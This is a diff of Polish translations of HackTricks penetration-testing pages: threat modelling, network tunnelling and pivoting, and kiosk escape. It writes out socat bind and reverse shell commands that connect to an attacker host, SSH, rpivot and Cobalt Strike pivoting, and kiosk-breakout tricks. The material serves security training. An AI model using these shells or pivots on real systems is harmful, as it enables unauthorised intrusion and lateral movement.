<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trochę wyjaśnienia na temat jednostek:
|
||||
Tylko trochę wyjaśnienia na temat podmiotów:
|
||||
|
||||
* Proces (Sama jednostka, taka jak serwer WWW lub funkcjonalność sieci)
|
||||
* Aktor (Osoba, taka jak Odwiedzający stronę internetową, Użytkownik lub Administrator)
|
||||
* Proces (Podmiot sam w sobie, taki jak serwer WWW lub funkcjonalność webowa)
|
||||
* Aktor (Osoba, taka jak odwiedzający stronę, użytkownik lub administrator)
|
||||
* Linia przepływu danych (Wskaźnik interakcji)
|
||||
* Granica zaufania (Różne segmenty sieci lub zakresy.)
|
||||
* Sklep (Miejsca, w których przechowywane są dane, takie jak bazy danych)
|
||||
* Magazyn (Miejsca, w których przechowywane są dane, takie jak bazy danych)
|
||||
|
||||
5. Utwórz Zagrożenie (Krok 1)
|
||||
5. Utwórz zagrożenie (Krok 1)
|
||||
|
||||
Najpierw musisz wybrać warstwę, do której chcesz dodać zagrożenie
|
||||
|
||||
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Teraz możesz utworzyć zagrożenie
|
||||
Teraz możesz stworzyć zagrożenie
|
||||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pamiętaj, że istnieje różnica między Zagrożeniami Aktora a Zagrożeniami Procesu. Jeśli dodasz zagrożenie do Aktora, będziesz mógł wybrać tylko "Podrobienie" i "Zaprzeczenie". Jednak w naszym przykładzie dodajemy zagrożenie do jednostki Procesu, więc zobaczymy to w oknie tworzenia zagrożenia:
|
||||
Pamiętaj, że istnieje różnica między zagrożeniami aktorów a zagrożeniami procesów. Jeśli dodasz zagrożenie do aktora, będziesz mógł wybrać tylko "Spoofing" i "Repudiation". Jednak w naszym przykładzie dodajemy zagrożenie do podmiotu procesu, więc zobaczymy to w oknie tworzenia zagrożenia:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. Gotowe
|
||||
|
||||
Teraz Twój ukończony model powinien wyglądać mniej więcej tak. I to jest sposób tworzenia prostego modelu zagrożeń za pomocą OWASP Threat Dragon.
|
||||
Teraz twój ukończony model powinien wyglądać mniej więcej tak. I tak tworzy się prosty model zagrożeń za pomocą OWASP Threat Dragon.
|
||||
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
To jest darmowe narzędzie od Microsoftu, które pomaga w znajdowaniu zagrożeń na etapie projektowania projektów oprogramowania. Wykorzystuje metodologię STRIDE i jest szczególnie odpowiednie dla tych, którzy rozwijają na platformie Microsoft.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
To darmowe narzędzie od Microsoftu, które pomaga w znajdowaniu zagrożeń w fazie projektowania projektów oprogramowania. Wykorzystuje metodologię STRIDE i jest szczególnie odpowiednie dla tych, którzy rozwijają na stosie Microsoftu.
|
||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmap tip
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Skanowanie ICMP** i **SYN** nie mogą być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało.
|
||||
**ICMP** i **SYN** skany nie mogą być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
@ -65,7 +57,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
|||
```
|
||||
### Port2Port
|
||||
|
||||
Lokalny port --> Skompromitowany host (SSH) --> Trzecia\_maszyna:Port
|
||||
Lokalny port --> Skompromitowany host (SSH) --> Trzecia\_skrzynka:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
|
@ -90,7 +82,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Potrzebujesz **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
Musisz mieć **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -112,7 +104,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||
## SSHUTTLE
|
||||
|
||||
Możesz **tunnel** przez **ssh** cały **ruch** do **podsieci** przez hosta.\
|
||||
Na przykład, przekierowując cały ruch kierujący się do 10.10.10.0/24
|
||||
Na przykład, przekazywanie całego ruchu idącego do 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
|
@ -179,7 +171,7 @@ Do zauważenia:
|
|||
- Ruch jest **tunnelowany w ramach ruchu C2 Beacona**, w tym linków P2P.
|
||||
- **Uprawnienia administratora nie są wymagane** do tworzenia odwróconych przekierowań portów na wysokich portach.
|
||||
|
||||
### rPort2Port lokalnie
|
||||
### rPort2Port lokalny
|
||||
|
||||
{% hint style="warning" %}
|
||||
W tym przypadku **port jest otwierany w hoście beacona**, a nie w Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||
|
@ -228,7 +220,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
|||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivot through **NTLM proxy**
|
||||
Pivot przez **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
@ -245,7 +237,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
|||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
```
|
||||
### Reverse shell
|
||||
### Odwrócona powłoka
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
|
@ -302,7 +294,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
```
|
||||
## Plink.exe
|
||||
|
||||
To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
To jest jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
|
||||
Ponieważ ten plik binarny będzie wykonywany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
|
||||
```bash
|
||||
|
@ -336,7 +328,7 @@ Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten spos
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
|
||||
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **wtyczka SocksOverRDP jest włączona**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
|
||||
|
||||
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary binarny plik `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
|
@ -374,7 +366,7 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||
Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port 2222 atakującego.\
|
||||
Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
||||
|
||||
## YARP
|
||||
|
@ -426,7 +418,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
|
||||
Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje żądanie DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w środowisku **Windows**, możesz ustawić adres IP **kontrolera domeny**.
|
||||
|
||||
## Tunelowanie w Go
|
||||
## Tunneling w Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
|
@ -437,7 +429,7 @@ Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje żądanie
|
|||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i tunelować dane między nimi za pomocą żądań echo ICMP.
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tun i tunelować dane między nimi za pomocą żądań echo ICMP.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
|
@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -544,7 +528,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,47 +1,37 @@
|
|||
# Ucieczka z KIOSKów
|
||||
# Ucieczka z KIOSK-ów
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępniaj sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-webem**, która oferuje **darmowe** funkcjonalności do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Sprawdź fizyczne urządzenie
|
||||
|
||||
| Komponent | Działanie |
|
||||
| Komponent | Akcja |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| Przycisk zasilania | Wyłączenie i ponowne włączenie urządzenia może ujawnić ekran startowy |
|
||||
| Kabel zasilający | Sprawdź, czy urządzenie uruchamia się ponownie, gdy zasilanie jest krótko odłączone |
|
||||
| Kabel zasilający | Sprawdź, czy urządzenie uruchamia się ponownie po krótkim odcięciu zasilania |
|
||||
| Porty USB | Podłącz fizyczną klawiaturę z dodatkowymi skrótami |
|
||||
| Ethernet | Skanowanie sieci lub podsłuchiwanie może umożliwić dalsze wykorzystanie |
|
||||
| Ethernet | Skanowanie sieci lub sniffing może umożliwić dalszą eksploatację |
|
||||
|
||||
|
||||
## Sprawdź możliwe działania wewnątrz aplikacji GUI
|
||||
## Sprawdź możliwe działania w aplikacji GUI
|
||||
|
||||
**Wspólne okna dialogowe** to te opcje **zapisywania pliku**, **otwierania pliku**, wybierania czcionki, koloru... Większość z nich **oferuje pełną funkcjonalność Eksploratora**. Oznacza to, że będziesz mógł uzyskać dostęp do funkcji Eksploratora, jeśli będziesz mógł uzyskać dostęp do tych opcji:
|
||||
**Typowe okna dialogowe** to te opcje **zapisywania pliku**, **otwierania pliku**, wybierania czcionki, koloru... Większość z nich **oferuje pełną funkcjonalność Eksploratora**. Oznacza to, że będziesz mógł uzyskać dostęp do funkcji Eksploratora, jeśli możesz uzyskać dostęp do tych opcji:
|
||||
|
||||
* Zamknij/Zamknij jako
|
||||
* Otwórz/Otwórz za pomocą
|
||||
|
@ -54,16 +44,16 @@ Powinieneś sprawdzić, czy możesz:
|
|||
|
||||
* Modyfikować lub tworzyć nowe pliki
|
||||
* Tworzyć linki symboliczne
|
||||
* Uzyskać dostęp do ograniczonych obszarów
|
||||
* Wykonywać inne aplikacje
|
||||
* Uzyskać dostęp do zastrzeżonych obszarów
|
||||
* Uruchamiać inne aplikacje
|
||||
|
||||
### Wykonanie polecenia
|
||||
### Wykonywanie poleceń
|
||||
|
||||
Być może **korzystając z opcji `Otwórz za pomocą`** możesz otworzyć/wywołać pewnego rodzaju powłokę.
|
||||
Możliwe, że **używając opcji `Otwórz za pomocą`** możesz otworzyć/wykonać jakiś rodzaj powłoki.
|
||||
|
||||
#### Windows
|
||||
|
||||
Na przykład _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ znajdź więcej binarnych plików, które można użyć do wykonywania poleceń (i wykonywania nieoczekiwanych działań) tutaj: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
Na przykład _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ znajdź więcej binarek, które mogą być używane do wykonywania poleceń (i wykonywania nieoczekiwanych działań) tutaj: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
|
@ -71,15 +61,15 @@ _bash, sh, zsh..._ Więcej tutaj: [https://gtfobins.github.io/](https://gtfobins
|
|||
|
||||
## Windows
|
||||
|
||||
### Omijanie ograniczeń ścieżki
|
||||
### Obejście ograniczeń ścieżek
|
||||
|
||||
* **Zmienne środowiskowe**: Istnieje wiele zmiennych środowiskowych wskazujących na pewną ścieżkę
|
||||
* **Zmienne środowiskowe**: Istnieje wiele zmiennych środowiskowych, które wskazują na jakąś ścieżkę
|
||||
* **Inne protokoły**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **Linki symboliczne**
|
||||
* **Skróty klawiszowe**: CTRL+N (otwórz nową sesję), CTRL+R (Wykonaj polecenia), CTRL+SHIFT+ESC (Menedżer zadań), Windows+E (otwórz eksplorator), CTRL-B, CTRL-I (Ulubione), CTRL-H (Historia), CTRL-L, CTRL-O (Plik/Otwórz dialog), CTRL-P (Dialog drukowania), CTRL-S (Zapisz jako)
|
||||
* **Skróty**: CTRL+N (otwórz nową sesję), CTRL+R (wykonaj polecenia), CTRL+SHIFT+ESC (Menadżer zadań), Windows+E (otwórz eksplorator), CTRL-B, CTRL-I (Ulubione), CTRL-H (Historia), CTRL-L, CTRL-O (Plik/Otwórz), CTRL-P (Okno drukowania), CTRL-S (Zapisz jako)
|
||||
* Ukryte menu administracyjne: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **URI powłoki**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **Ścieżki UNC**: Ścieżki do łączenia z udostępnionymi folderami. Powinieneś spróbować połączyć się z C$ lokalnej maszyny ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **Ścieżki UNC**: Ścieżki do połączenia z udostępnionymi folderami. Powinieneś spróbować połączyć się z C$ lokalnej maszyny ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Więcej ścieżek UNC:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
|
@ -94,13 +84,13 @@ _bash, sh, zsh..._ Więcej tutaj: [https://gtfobins.github.io/](https://gtfobins
|
|||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
### Pobierz swoje binaria
|
||||
### Pobierz swoje binarki
|
||||
|
||||
Konsola: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Eksplorator: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Edytor rejestru: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
### Dostęp do systemu plików z przeglądarki
|
||||
### Uzyskiwanie dostępu do systemu plików z przeglądarki
|
||||
|
||||
| ŚCIEŻKA | ŚCIEŻKA | ŚCIEŻKA | ŚCIEŻKA |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
|
@ -111,187 +101,189 @@ Edytor rejestru: [https://sourceforge.net/projects/uberregedit/](https://sourcef
|
|||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
### Skróty
|
||||
|
||||
* Sticky Keys – Naciśnij klawisz SHIFT 5 razy
|
||||
* Sticky Keys – Naciśnij SHIFT 5 razy
|
||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
* Wysoki kontrast – SHIFT+ALT+PRINTSCN
|
||||
* Przełączanie klawiszy – Przytrzymaj NUMLOCK przez 5 sekund
|
||||
* Filtr klawiszy – Przytrzymaj prawy SHIFT przez 12 sekund
|
||||
* WINDOWS+F1 – Wyszukiwanie w systemie Windows
|
||||
* High Contrast – SHIFT+ALT+PRINTSCN
|
||||
* Toggle Keys – Przytrzymaj NUMLOCK przez 5 sekund
|
||||
* Filter Keys – Przytrzymaj prawy SHIFT przez 12 sekund
|
||||
* WINDOWS+F1 – Wyszukiwanie w Windows
|
||||
* WINDOWS+D – Pokaż pulpit
|
||||
* WINDOWS+E – Uruchom Eksplorator Windows
|
||||
* WINDOWS+R – Uruchom
|
||||
* WINDOWS+U – Centrum ułatwień dostępu
|
||||
* WINDOWS+F – Wyszukiwanie
|
||||
* WINDOWS+F – Szukaj
|
||||
* SHIFT+F10 – Menu kontekstowe
|
||||
* CTRL+SHIFT+ESC – Menedżer zadań
|
||||
* CTRL+ALT+DEL – Ekran powitalny w nowszych wersjach systemu Windows
|
||||
* F1 – Pomoc F3 – Wyszukiwanie
|
||||
* CTRL+ALT+DEL – Ekran powitalny w nowszych wersjach Windows
|
||||
* F1 – Pomoc F3 – Szukaj
|
||||
* F6 – Pasek adresu
|
||||
* F11 – Przełącz pełny ekran w przeglądarce Internet Explorer
|
||||
* CTRL+H – Historia przeglądarki Internet Explorer
|
||||
* F11 – Przełącz pełny ekran w Internet Explorer
|
||||
* CTRL+H – Historia Internet Explorer
|
||||
* CTRL+T – Internet Explorer – Nowa karta
|
||||
* CTRL+N – Internet Explorer – Nowa strona
|
||||
* CTRL+O – Otwórz plik
|
||||
* CTRL+S – Zapisz CTRL+N – Nowe połączenie RDP / Citrix
|
||||
* CTRL+S – Zapisz CTRL+N – Nowy RDP / Citrix
|
||||
|
||||
### Swajpy
|
||||
### Przesunięcia
|
||||
|
||||
* Swajp z lewej strony na prawą, aby zobaczyć wszystkie otwarte okna, minimalizując aplikację KIOSK i uzyskując bezpośredni dostęp do całego systemu operacyjnego;
|
||||
* Swajp z prawej strony na lewą, aby otworzyć Centrum akcji, minimalizując aplikację KIOSK i uzyskując bezpośredni dostęp do całego systemu operacyjnego;
|
||||
* Swajp z górnej krawędzi, aby sprawić, że pasek tytułu będzie widoczny dla aplikacji otwartej w trybie pełnoekranowym;
|
||||
* Swajp w górę z dolnej krawędzi, aby pokazać pasek zadań w aplikacji pełnoekranowej.
|
||||
* Przesuń od lewej do prawej, aby zobaczyć wszystkie otwarte okna, minimalizując aplikację KIOSK i uzyskując dostęp do całego systemu operacyjnego bezpośrednio;
|
||||
* Przesuń od prawej do lewej, aby otworzyć Centrum akcji, minimalizując aplikację KIOSK i uzyskując dostęp do całego systemu operacyjnego bezpośrednio;
|
||||
* Przesuń w dół z górnej krawędzi, aby uczynić pasek tytułowy widocznym dla aplikacji otwartej w trybie pełnoekranowym;
|
||||
* Przesuń w górę od dołu, aby pokazać pasek zadań w aplikacji pełnoekranowej.
|
||||
|
||||
### Triki z Internet Explorera
|
||||
### Sztuczki Internet Explorer
|
||||
|
||||
#### 'Pasek narzędzi obrazu'
|
||||
#### 'Pasek narzędzi obrazów'
|
||||
|
||||
To pasek narzędzi, który pojawia się w lewym górnym rogu obrazu po jego kliknięciu. Będziesz mógł zapisać, wydrukować, wysłać e-mail, otworzyć "Moje obrazy" w Eksploratorze. Kiosk musi korzystać z przeglądarki Internet Explorer.
|
||||
To pasek narzędzi, który pojawia się w lewym górnym rogu obrazu po jego kliknięciu. Będziesz mógł Zapisz, Drukuj, Mailto, Otwórz "Moje obrazy" w Eksploratorze. Kiosk musi używać Internet Explorer.
|
||||
|
||||
#### Protokół Shell
|
||||
|
||||
Wpisz te adresy URL, aby uzyskać widok Eksploratora:
|
||||
|
||||
* `shell:Narzędzia administracyjne`
|
||||
* `shell:Biblioteka dokumentów`
|
||||
* `shell:Biblioteki`
|
||||
* `shell:Profile użytkowników`
|
||||
* `shell:Osobiste`
|
||||
* `shell:Folder domowy wyszukiwania`
|
||||
* `shell:Folder Miejsca sieciowego`
|
||||
* `shell:Wyślij do`
|
||||
* `shell:Profile użytkowników`
|
||||
* `shell:Wspólne narzędzia administracyjne`
|
||||
* `shell:Mój komputer`
|
||||
* `shell:Folder Internetu`
|
||||
* `Shell:Profil`
|
||||
* `Shell:Pliki programów`
|
||||
* `shell:Administrative Tools`
|
||||
* `shell:DocumentsLibrary`
|
||||
* `shell:Libraries`
|
||||
* `shell:UserProfiles`
|
||||
* `shell:Personal`
|
||||
* `shell:SearchHomeFolder`
|
||||
* `shell:NetworkPlacesFolder`
|
||||
* `shell:SendTo`
|
||||
* `shell:UserProfiles`
|
||||
* `shell:Common Administrative Tools`
|
||||
* `shell:MyComputerFolder`
|
||||
* `shell:InternetFolder`
|
||||
* `Shell:Profile`
|
||||
* `Shell:ProgramFiles`
|
||||
* `Shell:System`
|
||||
* `Shell:Folder Panelu sterowania`
|
||||
* `Shell:ControlPanelFolder`
|
||||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panel sterowania
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mój komputer
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Miejsca sieciowe
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Moje miejsca w sieci
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
### Pokazywanie rozszerzeń plików
|
||||
### Pokaż rozszerzenia plików
|
||||
|
||||
